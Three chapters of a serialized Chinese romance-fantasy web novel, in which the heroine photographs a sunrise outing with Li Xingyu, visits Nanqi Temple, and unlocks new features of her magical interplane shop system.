感谢投营养液的宝宝们，感谢“隺翯”的10瓶、“玛卡巴卡”的10瓶(づ￣3￣)づ╭～ 56 第56章 ◎女子本弱，拍照则刚◎ “妧妧姐,你好厉害啊！” 云昭昭没想过自己能变成另一幅样子，想摸一摸脸又怕弄花了妆容，只好捧着小镜子来回照，眼里全是欢喜。 “那是,我可是差点改行去当剧组化妆师呢。” 萧妧妧给自己补了妆,丸子头绑紧,扒拉两下胎毛刘海,急急忙忙回观景台。 找到另外三人汇合时，远处天边冒出一丝微光,天上星光渐渐黯淡，而山脚下,城市夜景美不胜收。 从600米的山上望下去，鳞次栉比的摩天大厦亮起各色灯光,蜿蜒马路犹如流光飞散在城市中，将南市的繁华勾勒得淋漓尽致。 “南市夜景不算出名,但仔细一看,其实挺漂亮的。” 萧妧妧惊艳了一瞬,找角度咔咔拍,等她察觉身边气氛有些微妙时,下意识扭头看向身侧，瞬间了然。 她捣了捣云*昭昭的胳膊，“我说什么来着，眼睛都直了。” 打从云昭昭出现那一刻,季随和黎行墨的目光没从她身上挪开过，云昭昭捕捉到他们炙热的凝视,害羞地垂下脑袋。 这会又被萧妧妧打趣,云昭昭脸红得不像话,无措地举着手机，心不在焉地胡乱按了几下，估计自己拍了什么都不知道。 萧妧妧没兴趣当电灯泡，大跨步往平台侧面的栈道上挪，环顾周围寻找相对冷清的打卡点时，不经意间对上到黎行聿望过来的视线。 黎行聿似乎在走神，目光直直投来，直到双方视线相触，他迟缓地收敛思绪。 萧妧妧正愁找不到人搭把手，看到黎行聿，眼睛一亮，抱着试一试的心态走近。 “黎先生，可以帮个忙吗？” 黎行聿意外的爽快，也不问帮什么忙，点头答应。 萧妧妧一喜，递去手机，“黎先生帮我拍几张全身照吧。” 黎行聿迟疑了一会，接下手机。 萧妧妧左右挑剔片刻，很快注意到林子边草甸上的巨石，巨石后是繁华夜景，一定很出片。 “黎先生，去那里拍吧，人少。” 萧妧妧趁着那里没人，飞快跑去抢占地盘。 等她跑到大石头附近，发现根本不用抢，因为没人注意到这里，再看两边树影幢幢，映着繁华城市的霓虹灯格外好看，萧妧妧更满意了，大迈步站在石头上，指着前面约两米的距离。 “黎先生，你快来，就站在那里帮我拍几张。” 指挥黎行聿移动的同时，萧妧妧调整姿势。 茂密草甸沾满露水，受到惊扰的虫子扑棱棱飞走，黎行聿皱眉凝着草甸，瞥见萧妧妧兴冲冲的凹造型，深吐息，迈步走向指定地点。 “现在这个角度，我是站着合适还是坐下来合适？” 没能亲眼看到镜头里的画面，成片效果全凭萧妧妧想象，为了尽快出片，只能询问黎行聿的意见。 黎行聿很努力的分辨了一会，答：“都可以。” 萧妧妧啊了一声，挠挠头，没什么自信地选择侧身坐下，曲起一只腿，上半身后仰，眼睛望天。 “这样呢？”她问。 黎行聿：“可以。” 既然他说可以，萧妧妧暂且放下心，思索换什么造型可以拍出自己想要的氛围神图。 一连拍了七八分钟，天边光亮越发刺眼，萧妧妧终于决定放弃，换下一个打卡点。 然而，等她起身侧过脸，看到站得笔直的黎行聿，以及与他面部齐平的手机，萧妧妧眼前一黑。 完了，这死亡角度，潘金莲都能拍成武大郎，白瞎她扭了半天。 萧妧妧不死心，小心翼翼问：“方便我看两眼吗？” 黎行聿走上前，递来手机，他的表情轻松自然，在萧妧妧看来好像挺有信心的。 萧妧妧想，或许他有自己独特的拍照技术吧。 抱着忐忑的心情打开相册，萧妧妧就知道自己放心得太早。 “是不是拍得不太好？” 黎行聿凝着她的脸，将她细微表情全部纳入眼底，看她从面带礼貌微笑到笑容消失。 “……挺好的，谢谢黎先生，我自己拍就好。” 一边说挺好的，一边全选删除，绝不让黑照污染相册。 黎行聿听出她的言不由衷，删照片的速度明晃晃昭示她的嫌弃，不禁握拳掩唇，轻轻咳了两声缓解尴尬。 来都来了，妆也补了，萧妧妧打定主意要拍出满意照片。 她艰难地调整手机，一遍遍确定角度和构图，黎行聿没忍住，走上前打断了她。 “再试一次吧，你告诉我该怎么配合。” 闻言，萧妧妧反而迟疑了，她怕教急眼了发脾气。 黎行聿像是看出她的纠结，径自抽走手机，后退到原来位置。 “试试吧，天快亮了。” 黎行聿一说肯定句，身上那股说一不二、不容置疑的，属于上位者的威严感油然而生，萧妧妧生不出拒绝的胆气。 “谢谢黎先生。” 她抬眼看了看微亮的天，小声道谢后，教他怎么调整镜头。 黎行聿听她指示，退到坡上，调整角度，屈膝半蹲。 这回他有经验了，拍完一张先送去给萧妧妧审核，如果满意再继续下去。 萧妧妧没抱希望，结果看见照片反倒有点小惊喜。 “哇！黎先生你很有天分嘛，帮我多拍几张，一定要带上后面的夜景。” 萧妧妧又教他换了两个角度，每一次都有满意照片诞生，拍照兴致越发高昂。 “萧小姐为什么不愿意露脸拍照？” 看她坐在石头上，快乐地晃荡着双腿，手指在屏幕上快速滑动，挑选着照片，黎行聿问出疑惑。 萧妧妧挑出一张看不见脸的背影图，和一张能看清脸的正面图怼到他面前。 “喏，是不是背影照更有氛围感？” 黎行聿不懂她需要的氛围感是什么，只是目光停留在正脸照的时间明显更长些。 他说：“我更欣赏右边的照片。” 萧妧妧拧眉，收回手机仔细对比一番：“果然，不同的性别连审美也不一样。” 感叹一句，萧妧妧喜滋滋收起手机，迟钝发觉天色已经大亮。 天边滚滚白云，云层里时不时有金光闪耀，深色夜空不知不觉转变成雾蒙蒙的蓝色，绚丽霓虹灯失了光彩。 “差一点错过，我们去观景台看日出吧？” 眼看着太阳要钻出厚厚云层，萧妧妧一着急，直接蹦下石头。 黎行聿伸出的手落了空，若无其事的收回，跟在她后面往观景台走。 萧妧妧选的打卡点比较冷门，要穿过林子，两人一前一后走进去，她倏地听到窸窸窣窣的动静。 可能是野猪，也可能是猴子，偏偏她听到了说话声，还是她熟悉的声音。 萧妧妧不自觉停下脚步，果然，说话声又传了过来，听起来就在周边。 “昭昭？” 她向前走了几步，试探着喊出声，然而林子里已经听不到什么动静，正当她怀疑自己听错，转身要离开时，余光猛然瞥见绿荫中两个重叠的身影。 果然，他们根本不是想来爬山！ 萧妧妧反应过来，懊恼地拍了拍脑门。 “萧小姐，观景台在下面。” 她大迈步准备离开，好巧不巧黎行聿追了上来，提醒她走错路。 萧妧妧一惊，飞速转身冲着他“嘘”了一声。 “怎么了？”黎行聿低声问。 萧妧妧不能解释，连忙摇头：“没什么，我们赶紧下去。” 她稍显着急地推黎行聿离开，动作鬼祟，黎行聿不由自主地回身，往林子深处望去， 萧妧妧担心他看到什么，顾不上失礼的问题，拽着他胳膊往前拖。 黎行聿：“那里有什么东西？” 萧妧妧脱口而出：“什么都没有！” 见她遮遮掩掩的举动，黎行聿猜到她在隐瞒什么，体贴的不再追问。 两人回到景观台，时间刚刚好，或绯红或橙黄的云朵倏然向两边分开，隐约的红光托起旭日。 霎那间，黎明前的昏暗彻底消逝，明晰光束刺透云层，光辉平铺大地，到处灿烂着金光，四周传来游客们此起彼伏的哇声。 “真好看，我还是第一次在南奇山看日出。”萧妧妧赞叹一会，抱着手机疯狂拍照。 黎行聿望着金光下的城市轮廓，嗯了一声附和。 观景台围满了人，或是拍景或是拍人，不时能听到有女声抱怨男朋友太笨教不会，转而寻求路人帮助。 黎行聿收回目光，转头问她：“要拍照吗？” 萧妧妧搓了搓手，有些受宠若惊：“可以吗？” 她当然是想拍的，可使唤人家大半天，她哪好意思提，幸好黎行聿主动开口。 见黎行聿点头，萧妧妧欢呼一声，噔噔蹬跑到自己早就选好的位置。 “这次是站着的全身照，机位要和我的腰齐平，对，内扣四十度，0.7倍，这样显得我腿长……” 黎行聿动作生疏地操作着软件，很快拍下七八张，像之前几次一样，拿回去等她确认。 “黎先生你进步真快，这张我喜欢，把我拍成一米八了！” 萧妧妧忙着挑选照片，忽而听到头顶传来一声轻笑。 夸两句就飘了？真不经夸…… 拍一次是拍，两次也是拍，萧妧妧见他挺好说话的，厚着脸皮提要求。 “黎先生可以站近点，这次是拍半身照。” 黎行聿应一声好，按照她的要求挪动，并调整手机。 一连换了四个位置，正面侧面俯拍仰拍，因为黎行聿太过配合，导致萧妧妧拍照上头，一时间没能刹住。 黎行墨气哼哼找来时，萧妧妧冷静下来，臊得脸通红。 “哥，妧妧姐，你们看到昭昭了吗？季随那个老小子不知道去哪了。” 观景台找了一圈又一圈，两人的人影一点没看见，黎行墨气得脸色发绿。 前脚说会帮忙打掩护，后脚机会主动找来，萧妧妧浑圆的脑袋拨浪鼓似地摇。 “没有没看到，昭昭应该是去洗手间了吧。” 萧妧妧眨巴着大眼睛，无比真诚地望着黎行墨，语速飞快的回应。 黎行墨拧眉，将信将疑的样子，但电话打不通，人找不到，泄气地蹲在一旁。 黎行聿若有所思，目光转向眼神飘忽的萧妧妧身上。 “对不起啊，我刚才太激动了，拍照是不是挺无聊的？”萧妧妧对上他的视线，窘迫地挠头。 黎行聿递回手机：“不会，很有意思。” 萧妧妧狐疑看他，仔细分辨一会，脸上找不到一点不耐烦的模样，长舒一口气。 “我帮你们拍照吧。” 麻烦黎行聿半天，萧妧妧心里过意不去，遂提出帮他们拍几张纪念一下。 黎行聿和黎行墨都愣了愣。 萧妧妧自信满满：“不需要你们凹造型，我来找角度。放心，你们长得好看，怎么拍都不会丑的。” 黎行墨看她一本正经的，纳闷了一会，躲到一边去。 “我不拍，我要去找昭昭。” 他作势要走，与萧妧妧擦身而过时提醒她，“你收敛点，我大哥生气的时候很凶的。” 萧妧妧不知道他为什么走过来说这么一句，瞄一眼黎行聿，不解反问：“他会打人？” 黎行墨用更小的声音和她嘀咕：“那倒是不会，你随便拍两张得了，惹毛了我也没好日子过。” 萧妧妧：…… 萧妧妧偏头，多看了黎行聿一眼，表情淡淡，性格也很冷淡，不过人还不错，出乎意料的好讲话。 黎行墨脚步匆匆地溜了，萧妧妧不以为然，举起手机开始自己的创作。 “对，现在的状态很好，脸再侧一点，哇，黎先生你好上镜啊。” “这个角度好，像混血男模。” “抬头，看太阳方向，对，非常好。” 难得遇到上镜的拍照搭子，萧妧妧拍摄欲望高涨，绕着黎行聿转着圈找角度，不管是什么死亡角度，在他身上都能拍出独特的感觉。 她又换了一个方向，一屁股坐在地上，几乎仰倒，身后是来往的游客。 “只是拍照片，没必要躺在地上。”黎行聿皱了皱眉，试图过去将她拽起。 萧妧妧对他的制止充耳不闻，并打断他：“别动别说话！就是这个表情，皱着眉头特别帅，保持住。” 看出她的坚持，黎行聿默了默，顺从地倚回栏杆。 等萧妧妧结束了，她满不在乎的说：“女子本弱，拍照则刚。” 她一骨碌爬起，跑到黎行聿身侧，献宝似的打开相册。 “看，我技术不错吧，黎先生这张照片像演电影一样，五官深邃，轮廓清晰，光影打下来很有故事感。” “这张也好，别看虚焦了，其实朦胧感更有氛围。” “能看出来黎先生不常拍照，动作僵硬，但是问题不大，你看，没有一张废片~” 萧妧妧自得的展示成果，嘴里好话不停，偏偏她说得坦率真诚，听不出半点客套虚伪。 不带目的性的夸赞令他感到新鲜新奇，心脏像绷紧的弓弦，随她的话音颤个不停。 黎行聿回望她亮晶晶的双眸，缓缓开口：“嗯，萧小姐很厉害。” “嘿嘿，过奖过奖，主要是黎先生你配合得好。” 拍照技术得到认可，萧妧妧获取了极大的喜悦，嘴里谦虚得不行，脸上笑嘻嘻看不出一点谦虚样。 她现在可以确定，绝对是黎行墨自己不着调，惹来黎行聿的训斥。 再看黎行聿的冷脸，社会精英自带的锋锐与侵略感不曾减弱，但萧妧妧不再觉得他难以接触。 “叫我名字吧，我觉得我的名字挺顺口的。” 一直叫她萧小姐，萧妧妧下意识带出社交状态，表演成熟大人的形象，夜爬过后有种团建破冰的感觉，她不免随意了许多。 黎行聿从善如流：“好，你直接喊我名字就行，不用黎先生黎先生的叫，毕竟有两个黎先生。” 萧妧妧深表认同，和兄弟俩说话要看着他们，否则真不好称呼。 两人有一搭没一搭的说着，云昭昭这时突然跑来，抱着萧妧妧胳膊不撒手。 再一看，身后她还跟着季随和黎行墨，两人脸色一个赛一个差劲，但黎行墨看起来更生气一点。 萧妧妧怀疑自己闻到了硝烟味。 她偷偷打量云昭昭，唇上口红几乎蹭没了，嘴唇红肿，什么情况不言而喻。 “那什么……要不要给你们拍照片？黎行聿可以作证，我技术超好。”萧妧妧若无其事岔开话题。 “不拍。”*2 黎行墨季随异口同声的拒绝，互相瞪了一眼，扭过头翻了个白眼。 云昭昭更不用说了，现在的模样根本不适合拍照，估计也没心情拍。 萧妧妧想了想剩下的行程，改口道：“那我们下山吧，现在人不多，早点去南奇寺拜一拜。” 黎行墨一脸嫌弃地嘟囔：“寺庙有什么好拜的。” 萧妧妧哼哼笑，眼底狡黠一闪而过，语气意味深长：“南奇寺扶正缘，斩烂桃花。” “拜！现在就去。” 她话没落音，黎行墨急切接话。 萧妧妧饶有兴致的在他们身上来回打量，越看越觉得有意思。 【作者有话说】 三次元有点忙，存稿要省着用，所以，下次更新在周四：D 57 第57章 ◎我在狠狠地谴责他们◎ “妧妧姐,南奇寺真有那么灵？” 云昭昭见她说得信誓旦旦，下山路上，快走两步追到萧妧妧身边问询。 萧妧妧思索一会，“斩烂桃花是灵的,求姻缘我不确定。” 云昭昭好奇不已,追问：“怎么说？妧妧姐你试过？” 话落,不远不近的三人不约而同地转过头来,目光齐刷刷地落在她们两人身上。 萧妧妧一想没什么不能说的，轻笑一声说：“是上学的时候,我妈担心我早恋，带我来南奇寺斩桃花来着……确实很灵,回去后一直寡到今天。” 说好扶正缘，正缘在哪没看见,反正斩烂桃花是肯定的，萧妧妧可以打包票。 黎行墨打了鸡血一样兴奋,语气昂扬的大声说：“那我们去拜斩烂桃花的。” 说到烂桃花,他挑衅地睨一眼季随,就差点名道姓了。 季随不甘示弱,冷笑一声：“好啊,我也想知道谁是烂桃花。” 两人又掐上了，气氛瞬间变得紧张起来，一股谁退缩谁是孽缘活该被斩的架势，云昭昭在一旁大气不敢喘。 萧妧妧冲云昭昭挤挤眼睛安抚她,镇定地翻开攻略。 “哦，那我们不太顺路,我和昭昭要去财神殿,我们要在财神殿前长跪不起！” 黎行墨：？ “亲身测试,南奇寺求财比求姻缘更灵。” 为了开小卖部，萧妧妧欠下巨债，慌得要死，开业前一天特意去南奇寺的财神殿跪了几分钟。 然后她发财了，日进斗金。 怎么不算灵？ 云昭昭像鼓起勇气的鹌鹑，扑棱着翅膀冲他们说：“对！我要去求财。” 下山的路上，到处挤满了人，有一大早爬山晨练的，有看完日出直奔南奇寺的，本该幽静的林间栈道吵吵闹闹。 五人排成竖排缓慢通行，走了将近三百多个阶梯，萧妧妧开始腿软的时候，他们终于看到了南奇寺的牌坊。 古朴牌坊与后面的寺庙正门是热门打卡点，游客排队领香，上平台拍照。 萧妧妧张望一圈，先为他们求姻缘的指出方向，不给他们阻拦机会，拉着云昭昭直奔财神殿。 上回来时负债累累，兜比脸干净，所以捐了十块钱的香油钱意思意思，这回还愿，萧妧妧可大方了，转账一千元。 寺庙的收款账户有提示音，连了蓝牙音箱播放的那种，金额播报出来时，财神殿前排队的游客无不侧目。 守着登记簿的大婶扬起笑容问：“是来还愿的吧？” 萧妧妧没多说，只微笑点头嗯了一声。 大婶笑得更开心了，说：“今天已经有好几个来还愿的了，我们南奇寺很灵的。” 她这么一说，散在周围观望的游客利落转身，加入排队。 萧妧妧略等了等，云昭昭随后从大殿出来。 两人挽着手回到正大门位置集合，还没走上平台，萧妧妧瞬间在眼前的人山人海里捕捉到黎行聿的身影。 他懒散地斜倚着栏杆，一只胳膊随意地撑在身后，微微侧着头，任由阳光洒在他脸上勾出流畅轮廓，深邃眼眸似乎有金光在涌动。 普普通通的动作，就那么静静地站着，但因他挺拔的身姿和颀长的身材，便格外显眼了些，尤其他长得足够英俊，更衬得周围人黯然失色，已经有不少路过的游客注意到他，纷纷投来注目。 萧妧妧确定他的位置，拉着云昭昭往黎行聿身边靠拢，走出去两步，观景台一侧传来动感音乐。 云昭昭不自觉被吸引了注意力，踮起脚东张西望。 “有一群人在跳舞。”她说。 两人在人群里挤来挤去，走近一些才惊讶发现，不只是跳舞，也是拍视频，一共五人，个个是青春男大，他们脱去了上衣跟着音乐扭啊扭，任由过往的游客欣赏拍照。 这么大方，谁能忍住不看啊？ “妧妧姐，这里人太多了，我们走吧。” 云昭昭脸皮薄，面对这样的风景不敢盯着看，催促她快点离开。 萧妧妧就敢，不仅敢看，甚至厚脸皮地驻足欣赏，云昭昭根本拽不动。 “哇……好奶的大子，好白的沟。”她吞了吞口水，毫不吝啬自己的赞美之词。 人声鼎沸，云昭昭没听清她说什么，只担心黎行聿等得着急，哪知道她下意识往那边瞄了一眼，黎行聿逆着人流迈步走来。 “妧妧姐，我看到黎先生了，我们快过去吧。” 萧妧妧根本没听她说了什么，嘴里敷衍应和着“马上马上”，实际双脚像钉在了原地，云昭昭又催促两遍，她才恋恋不舍的向前挪动。 步子是迈开了，但眼珠子没能转回来，牢牢黏在大方的男孩子们身上，这不，不看路的后果下一秒显现。 “咚”的一下，萧妧妧一脑门撞进别人怀里。 她捂着脑门哎呦一声，踉跄间后退两步，恰好听到云昭昭在替她道歉。 “对不起黎先生，妧妧姐不是故意的。” 萧妧妧一抬头，发现是黎行聿，再环顾周围，纳闷他怎么找过来了，慌慌张张向他道歉。 黎行聿没说什么，顺着她们的视线，目光定在那群青春男大身上。 萧妧妧老脸一红，有种XP暴露的羞耻感。 她挺直脊背，义正言辞的辩解：“世风日下！大庭广众之下搞擦边，我在狠狠地谴责他们。” 为了妧妧姐的面子，云昭昭用发誓似的语气紧跟着说：“对，我们是在谴责他们。” “这里人多，危险。” 黎行聿垂下眼眸，视线扫过萧妧妧写满心虚的脸，没戳穿她，转身领着两人往观景台相对冷清的地方走。 萧妧妧偷瞄他两眼，没看出什么特别表情，若无其事的跟上。 云昭昭没想到这里南奇寺的观景台也很有看头，扑在栏杆上眺望山下。 “好漂亮的地方……妧妧姐，那是什么湖？好大一片啊。” 萧妧妧介绍道：“是南湖，南市第二大湖，你看到的地方是南湖公园，不需要门票的。” 云昭昭哇了一声，掏出手机拍照。 “可惜了，山下那片地光秃秃的。” 萧妧妧瞄两眼，山脚下直到南湖公园有相当大面积的土地被圈了起来，光秃秃土地上数不清暴雨留下的大水坑，有南湖公园的景色衬托，显得很磕碜。 她说：“那里啊，原来是棚户区，拆了好几年，施工墙围了好久，不知道是要做什么。” “可能是商场，可能是主题乐园，还没想好。” 谁啊，这么大口气。 云昭昭和萧妧妧齐齐转过身，就看到黎行墨双手插兜走来，像视察一般望着山下。 “你怎么知道？”云昭昭反问。 萧妧妧一顿，想起了黎行墨富二代的人设。 果然，下一秒，黎行墨淡然开口：“我哥刚拍下它。” 一副“我买了个冰棍”的语气说出这种话，萧妧妧连羡慕的情绪都生不出。 云昭昭瞪大眼睛，不可置信的表情惊呼出声：“买下！它？” 黎行墨点头，无辜地望着云昭昭：“对啊，你这么惊讶做什么？” 云昭昭闭紧半张着的嘴巴，不太想说话，萧妧妧单手抱胸，另一手撑着下巴苦苦思索。 黎行墨是在哪里求婚的来着？ 主题乐园还是什么水上乐园？ 她记得，黎行墨为了求婚包下整个场所，女主心疼钱的时候，黎行墨淡淡的来一句是自家生意，怕节俭的女主有心理负担，黎行墨如实告知，这是他个人入股投资的产业之一，自家地盘，随便折腾，随后把他拥有的一半的股份当做生日惊喜送给女主。 女主收到如此豪奢的生日礼物手足无措，烛光晚餐时偷摸查了下资料，发现是“全国最吸金主题乐园”，差点晕倒。 地点对得上，时间点对得上，事件也对得上。 那座“全国最吸金乐园”，该不会就在眼前这片荒地上诞生吧？ “萧妧妧？” 思绪纷乱，萧妧妧看到面前有只手在挥，随后看到黎行聿望过来的目光。 萧妧妧猛地回过神来，直直指向山下光秃秃待建设的土地，“那里是要建主题乐园？” “或许吧，目前只是一个想法。” 黎行聿给了一个模棱两可的说法，他来到南市的任务之一就是定下方案，落实并开启项目。 萧妧妧咽了口唾沫，鼓起勇气继续追问：“冒昧请教一下，如果建乐园，这么大的面积，总投资大概是多少？” 黎行墨大大咧咧的说：“20多亿吧，我记得方案书上写的是这么多。” 他满不在乎地耸了耸肩，似乎二十多亿对他来说，如同两毛钱般微不足道。 萧妧妧“吧唧”一下，心碎了，二十多亿，真是斥巨资啊。 黎行聿嗯了一声，肯定了黎行墨的说法。 赚钱机会摆在眼前，偏偏她没资格参与，先不说乐园接不接受外人投资入股，光是那动辄以亿元计的庞大投资额，对于她而言也是一个遥不可及的天文数字，她想凑也凑不出来。 她存的那点金子算什么啊，放在二十亿面前，渺小到可以忽略不计。 萧妧妧心痛啊，充满了失落和沮丧。 “你怎么了？” 聊得好好的，突然见她捂住心口，五官皱成一团，黎行墨不明所以。 萧妧妧摇摇头，虚弱微笑，自嘲道：“我和朋友聊天一般二十块二百块起步，最多两千块，一下子通货膨胀蹦出二十亿，接受不了。” 一边说着接受不了，一边摇头晃脑，夸张的表情俏皮又灵动，狐狸眼瞪得圆溜溜，像两粒完美切割的极品墨翠，阳光下流淌着水波般的光泽，镶嵌在眼眶中，为稍显娇艳的脸蛋增添一抹深邃与娇憨。 黎行聿失神片刻，哑然失笑，笑意从唇角一点点蔓延到眼底眉梢，整个人都变得温和而亲切。 无意间捕捉到大哥的反应，黎行墨忍不住愣神，狐疑目光落在他身上，试图捕捉什么，可瞧了一会，没能看出端倪，又悄悄地将目光投向萧妧妧。 他们一个称呼着“黎先生”，另一个则回应着“萧小姐”，生疏而礼貌，黎行墨晃晃脑袋，挪开视线。 叹一口气，萧妧妧收拾好心情，挥着胳膊，笑嘻嘻带他们参观下一个景点。 走出去没几步，手机叮铃铃响，看到活财神的备注，萧妧妧眼睛一亮。 抬手给大家指出游览方向，示意他们先走一步，她落在后面接通电话。 58 第58章 ◎再升级与新功能◎ “萧老板,我来拿货啦。” 打来电话的是申明月，第一次使用高科技产品，小姑娘像只快乐小鸟，激动的呲哇乱叫,过了好一会儿才从兴奋劲儿中回过神,说正事。 好在萧妧妧做事一向井井有条,出门前把东西准备好,整齐堆放在后门边上，贴了纸条以方便识别。 她一边操作系统打开限制,一边细细叮嘱道：“院子里有小推车，你自己搬回去就是。箭十万支,玻璃餐具150套，玻璃杯、灯罩、盘子、碗,不计颜色各100件，还有琉璃,共十七种样式,每种6个,再就是柜台上有两个木头盒子,里面是玉髓玛瑙,各300串，大盒子里全是手持镜，500把，你自己小心些啊。” 申明月立刻按照她所报出的清单,开始认真地核对起眼前堆积如山般的货箱。 她一五一十数一遍，清点出数量,半张着嘴哇了一声。 “这些竟然都是我的……萧老板,你准备得太齐全了！” 萧妧妧挤在人流中,慢悠悠爬石阶，过了好一会，电话那头传来申明月的欢呼。 萧妧妧笑盈盈说：“都是我精挑细选过的，质量上乘，样式新颖，绝对好卖。” 对于萧妧妧的话，申明月自然是深信不疑。 尽管母亲这两天一直闭门谢客待在家里，却仍然有许多夫人派遣下人前来预订货物，仅仅是收取的订金，就已经高达白银千两之多！ 上一批货全卖出去，还不知道能赚多少，要是等店铺开起来，她更不敢想利润高到什么程度。 只粗略估算了一下眼前货品的价值，申明月便激动的不能自已，正好店里没人，无需装模作样，她像小孩子似的欢呼着蹦跶几下。 等她冷静下来，申明月噔噔噔跑回家，抱来两个木匣子。 萧妧妧做生意爽快又大气，十几万的箭只收五十两金子，便宜好用不说，还为她解决了燃眉之急。 这一波进货，申明月感念萧妧妧的好，便不想占便宜。 盘算过账上余钱，再大致估算货物卖出去后的利润，她毫不犹豫把所有能动用的金子全搬了来。 即便如此，申明月仍觉得差不少，可手里现钱不多，萧妧妧又不爱收白银，想了想，写下一张欠条。 申明月吹干纸上墨迹，和两匣金锭一起摆在柜台下，告知萧妧妧一声后挂断电话，全神贯注地搬运货箱。 都是宝贝，摔了碰了损失可不小，由不得她不仔细。 萧妧妧看一眼黑掉的屏幕，品味出她话音里的郑重，好奇之下，远程操控系统，尝试收走东西一睹究竟。 眨眼功夫，操作面板上光斑一闪，系统提示空间储物格有新获得物品。 萧妧妧倏然瞪大眼睛，没想到还真成功了。 意外片刻，她感慨一会系统功能真好用，哪怕店里没人也不耽误做生意。 感慨的同时，萧妧妧点开刚到手的两个匣子并一张纸，点击图标，物品信息显现。 萧妧妧：“！！！” 要不是时机不对，她真要尖叫出声了。 嘴巴里喊着没钱花的申明月竟然如此大手笔，两匣子金锭共计2000两，也就是60000克！ 萧妧妧赶紧查了下今日金价，调出计算器按几下…… “嘶！” 将近4000万，完全够投资季随的新电影！ 萧妧妧没想到钱来得那么容易，恍惚了一会，戳开那张纸的物品信息。 【叮~恭喜萧妧妧女士在交易系统协助下，完成货品交易100000件，成功升至三级。您可解锁以下三级功能，是否立刻解锁？】 萧妧妧正眯着眼睛看欠条上写了什么，系统冷不丁播报机械音，吓得一个激灵。 回过神一看，她又升级了。 和一级二级简陋的播报不一样，三级的升级通知有满屏幕的烟花，不仅有烟花，甚至列出了三级能打开的所有功能以及功能介绍。 萧妧妧无话可说，这么看来，交易系统也挺势利眼的嘛。 再看一眼升级通知，和她猜得差不多，二升三需要十万件交易件数，四级应该是百万或者千万？ 百万千万实在太遥远了，萧妧妧赶紧打住发散的思绪，着重关注眼前的新功能。 【估价：为用户提供物品估价服务。注：开启前需设置主位面（不可更改），并前往系统后台打开隐私权限，允许扫描当前位面物价水平、货币体系、法律法规、社会文化】 【互通：客户列表3.0升级版，可通过点击客户列表，选中客户发出进店邀请，快来试试吧~】 【运输：选中货品与签收客户，货品将直达子位面，免去搬运烦扰~】 【坐标：本功能为运输辅助功能，开启后将在结界可视区域显示当前坐标。注：严禁向不明坐标运输任意物品】 【扩容：点击开启，有扩充系统仓库容量的作用哦~】 萧妧妧这回是真没克制住，嘴角疯狂上扬。 新功能来得太及时了，尤其是估价功能，深得她意，而除了估价的其他功能，也都是她用得上的刚需功能。 最近买的东西数量多又零碎，塞进系统仓库特别占格子，眼看着只剩下三十多格，迟早要塞爆，萧妧妧没来由生出紧迫感。 但是这玩意不是她紧迫了就能解决的，正琢磨着怎么能省着点用，这下倒好，升级顺带着扩容，99格扩大到199格，每格99件同类商品则变成了999件。 萧妧妧迫不及待勾选全部解锁，再顺着系统提示打开隐私权限，允许扫描，*然后弹框出现了长长的进度条。 她尝试着操作，发现不影响其他功能使用，果断给申明月打电话。 申明月正忙着呢，来来回回跑了几趟只运走十几箱东西，只能加紧速度。 又一次返回小卖部，挂在墙上的老年机大声播报来电号码。 申明月吓得心脏加速了两秒，随即反应过来，接通电话。 萧妧妧直截了当的问：“明月，你看一眼结界……哦，就是后门那里，上面有没有显示什么数字？” 申明月半侧过身，目光绕着门框扫了一圈，果不其然在右下角看到了闪着金光的符号。 “我看到了，真的有东西，它们应该是萧老板说的数字吧？” 老年机没有拍照功能，只能麻烦申明月描述她看到的东西是什么样。 申明月蹲下来，比划片刻才说：“前面两个是竖直的棍棍，笔直笔直的那种，棍棍后面有一个小点，点后面是一个冒了头的圆圈，最后是长了尾巴的圆圈。” 萧妧妧听了一耳朵的棍棍点点和圆圈，手指凌空描两下，很快确定数字。 “我知道了，明月，你回去稍等一会，看看东西有没有送到。” 萧妧妧搓了搓手，忐忑测试新功能。 正好旁边是景区的店铺，她懒得问价，买下一个单筒望远镜，借着背包掩饰转移进空间。 接下来，萧妧妧按照操作提示，选中系统仓库里的望远镜、选择需发送物品的客户，紧跟着对话框弹出，需要她填写坐标。 萧妧妧谨慎地回想一遍，确认无误填上数字，提交的瞬间，对话框里的内容转变为“已发送”三个字。 正当她要打电话过去，手机先一步跳出来电显示。 萧妧妧心里一喜，选择接通：“收到东西了吗？” 申明月举起黑乎乎的细长棍子，恍恍惚惚开口：“收到了，但是萧老板，这是什么东西？它怎么会突然出现？” 萧妧妧放心了，深呼吸，语气雀跃的向她解释。 申明月听了一会，望着剩下的货箱，将信将疑的应了一声好，守在结界边上。 她瞪大了眼睛，一眨不眨地等着，没想到几息的工夫，自家库房里唰的一下出现小山似的货箱。 申明月的丹凤眼瞪得圆溜溜，她举着老年机穿过结界摸了摸货箱，又保持着举手机的姿势穿回小卖部，呆呆望着已然空荡荡，只有少量灰尘的瓷砖。 她吞了吞口水，因震惊，声线有些发飘：“萧老板……它们……” 萧妧妧得意问：“怎么样，东西送到了吗？” 申明月重重点头，忽然想起她看不到，忙不迭应声：“送到了送到了。” 收货人已签收，萧妧妧挂断电话，喜滋滋嘟囔：“真方便啊。” 一级是茅草屋，没几个功能能用，二级是土胚房，凑合着也能用，三级才算真正意义上的大变样。 新开启的功能个个实用，加上基础的安全防护功能，她的位面小卖部可以说初具雏形。 “统，四级五级的功能不会是互相穿梭吧？不然多不公平啊，他们能来我这里，我却没办法去他们的世界。” 系统：【……交易件数不达标，暂时无法查看高级功能】 萧妧妧眼眸一眯，系统说它是高级功能，变相证实了确实存在这个功能。 一想到能去其他位面见见世面，萧妧妧眼冒精光，这可比出去旅游有意思。 一边探索系统新功能，对比升级后有哪些不同，一边往南奇寺背后的万佛石窟走。 “小心。” “哎呦喂……” 萧妧妧心不在焉的走着，即便有人出声提醒，依旧没能挽救她的脑门，咚的一声闷响，和前面的人来了个亲密结束。 被撞得人像堵墙，纹丝不动，对比之下，萧妧妧显得“弱不禁风”，险些要摔倒。 好消息，有人扶住了她胳膊，没摔。 坏消息，那堵墙是黎行聿。 萧妧妧捂着脑门抬头，干笑两声：“好巧啊。” 说完，视线不自觉瞄向黎行聿的胸口。 真硬啊，撞得脑瓜子嗡嗡的。 黎行聿见她又走神了，无奈说：“不巧，我来找你，上面游客多，容易走散。” 萧妧妧不解，走散就走散呗，约个地点集合的事，而且…… “你可以给我打电话啊，跑来跑去多麻烦。” 黎行聿哑然，身形顿住。 萧妧妧余光瞥到身侧没了人影，回头催促，没等出声，倏然注意到黎行聿耳根连着脖颈附近红彤彤一片，有蔓延到衣领之下的趋势。 